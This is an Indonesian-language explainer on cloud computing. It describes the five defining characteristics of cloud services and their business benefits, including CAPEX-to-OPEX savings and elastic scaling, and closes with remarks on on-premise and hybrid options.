Dengan semakin maraknya pembicaraan seputar cloud computing, semakin banyak perusahaan yang mengumumkan bahwa mereka menyediakan layanan cloud computing.
Akan sangat membingungkan bagi kita para pengguna untuk memastikan bahwa layanan yang akan kita dapatkan adalah cloud computing atau bukan.
Untuk mudahnya, dari semua definisi yang ada, dapat diintisarikan bahwa cloud computing ideal adalah layanan yang memiliki 5 karakteristik berikut ini.
1. On-Demand Self-Services
Sebuah layanan cloud computing harus dapat dimanfaatkan oleh pengguna melalui mekanisme swalayan dan langsung tersedia pada saat dibutuhkan. Campur tangan penyedia layanan adalah sangat minim. Jadi, apabila kita saat ini membutuhkan layanan aplikasi CRM (sesuai contoh di awal), maka kita harus dapat mendaftar secara swalayan dan layanan tersebut langsung tersedia saat itu juga.
2. Broad Network Access
Sebuah layanan cloud computing harus dapat diakses dari mana saja, kapan saja, dengan alat apa pun, asalkan kita terhubung ke jaringan layanan. Dalam contoh layanan aplikasi CRM di atas, selama kita terhubung ke jaringan Internet, saya harus dapat mengakses layanan tersebut, baik itu melalui laptop, desktop, warnet, handphone, tablet, dan perangkat lain.
3. Resource Pooling
Sebuah layanan cloud computing harus tersedia secara terpusat dan dapat membagi sumber daya secara efisien. Karena cloud computing digunakan bersama-sama oleh berbagai pelanggan, penyedia layanan harus dapat membagi beban secara efisien, sehingga sistem dapat dimanfaatkan secara maksimal.
4. Rapid Elasticity
Sebuah layanan cloud computing harus dapat menaikkan (atau menurunkan) kapasitas sesuai kebutuhan. Misalnya, apabila pegawai di kantor bertambah, maka kita harus dapat menambah user untuk aplikasi CRM tersebut dengan mudah. Begitu juga jika pegawai berkurang. Atau, apabila kita menempatkan sebuah website berita dalam jaringan cloud computing, maka apabila terjadi peningkatkan traffic karena ada berita penting, maka kapasitas harus dapat dinaikkan dengan cepat.
5. Measured Service
Sebuah layanan cloud computing harus disediakan secara terukur, karena nantinya akan digunakan dalam proses pembayaran. Harap diingat bahwa layanan cloud computing dibayar sesuai penggunaan, sehingga harus terukur dengan baik.
Kelebihan Cloud Computing
Dari semua penjelasan di atas, apa sebenarnya kelebihan dari Cloud Computing, terutama bagi dunia bisnis? Berikut beberapa di antaranya.
Tanpa Investasi Awal
Dengan cloud computing, kita dapat menggunakan sebuah layanan tanpa investasi yang signifikan di awal.
Ini sangat penting bagi bisnis, terutama bisnis pemula (startup). Mungkin di awal bisnis, kita hanya perlu layanan CRM untuk 2 pengguna. Kemudian meningkat menjadi 10 pengguna.
Tanpa model cloud computing, maka sejak awal kita sudah harus membeli hardware yang cukup untuk sekian tahun ke depan. Dengan cloud computing, kita cukup membayar sesuai yang kita butuhkan.
Mengubah CAPEX menjadi OPEX
Sama seperti kelebihan yang pertama, kelebihan yang kedua masih seputar keuangan.
Tanpa cloud computing, investasi hardware dan software harus dilakukan di awal, sehingga kita harus melakukan pengeluaran modal (Capital Expenditure, atau CAPEX). Sedangkan dengan cloud computing, kita dapat melakukan pengeluaran operasional (Operational Expenditure, atau OPEX).
Jadi, sama persis dengan biaya utilitas lainnya seperti listrik atau telepon ketika kita cukup membayar bulanan sesuai pemakaian. Hal ini akan sangat membantu perusahaan secara keuangan.
Lentur dan Mudah Dikembangkan
Dengan memanfaatkan Cloud Computing, bisnis kita dapat memanfaatkan TI sesuai kebutuhan. Perhatikan Gambar 2 di bawah untuk melihat beberapa skenario kebutuhan bisnis.
Penggunaan TI secara bisnis biasanya tidak datar-datar saja.
Dalam skenario “Predictable Bursting”, ada periode di mana penggunaan TI meningkat tajam. Contoh mudah adalah aplikasi Human Resource (HR) yang pada akhir bulan selalu meningkat penggunaannya karena mengelola gaji karyawan.
Untuk skenario “Growing Fast”, bisnis meningkat dengan pesat sehingga kapasitas TI juga harus mengikuti.
Contoh skenario “Unpredictable Bursting” adalah ketika sebuah website berita mendapat pengunjung yang melonjak karena ada berita menarik.
Skenario “On and Off” adalah penggunaan TI yang tidak berkelanjutan. Misalnya, sebuah layanan pelaporan pajak, yang hanya digunakan di waktu-waktu tertentu setiap tahun.
Tanpa layanan cloud computing, ke empat skenario ini akan membutuhkan perencanaan TI yang sangat tidak efisien, karena investasi TI harus dilakukan sesuai kapasitas tertinggi, walaupun mungkin hanya terjadi di saat-saat tertentu. Hal ini dilakukan untuk mencegah terjadi kegagalan layanan pada saat “peak time” tersebut.
Dengan cloud computing, karena sifatnya yang lentur dan mudah dikembangkan (elastic and scalable), maka kapasitas dapat ditingkatkan pada saat dibutuhkan, dengan biaya penggunaan sesuai pemakaian.
Fokus pada Bisnis, bukan TI
Dengan menggunakan Cloud Computing, kita dapat fokus pada bisnis utama perusahaan, dan bukan berkecimpung di dalam pengelolaan TI. Hal ini dapat dilakukan karena pengelolaan TI dilakukan oleh penyedia layanan, dan bukan oleh kita sendiri. Misalnya, melakukan patching, security update, upgrade hardware, upgrade software, maintenance, dan lain-lain.
Apabila kita memiliki tim TI, maka tim tersebut dapat fokus pada layanan TI yang spesifik untuk bisnis kita, sedangkan hal-hal umum sudah ditangani oleh penyedia layanan.
Kesimpulan
Cloud computing sudah hadir saat ini, termasuk di Indonesia. Jadi, cloud computing bukanlah sebuah hype, melainkan sudah menjadi kenyataan dalam dunia TI.
Bukan berarti kita semua langsung harus berpindah saat ini juga: pada kenyataannya cloud computing bukanlah untuk semua orang. Masih tetap terdapat jenis-jenis layanan yang memang harus dilakukan secara on-premise, walaupun terdapat juga layanan yang menjadi sangat efisien bila dilakukan dengan cloud computing. Beberapa jenis layanan bahkan dapat dilakukan secara bersamaan (hybrid) dengan menggabungkan kedua jenis implementasi tersebut.
Oleh karena itu, carilah penyedia layanan yang dapat memberikan saran yang tepat dan terbaik bagi kebutuhan anda. Kesuksesan penggunaan cloud computing akan sangat ditentukan oleh kemampuan penyedia layanan dalam memberikan layanan yang tepat dan terbaik bagi pelanggan.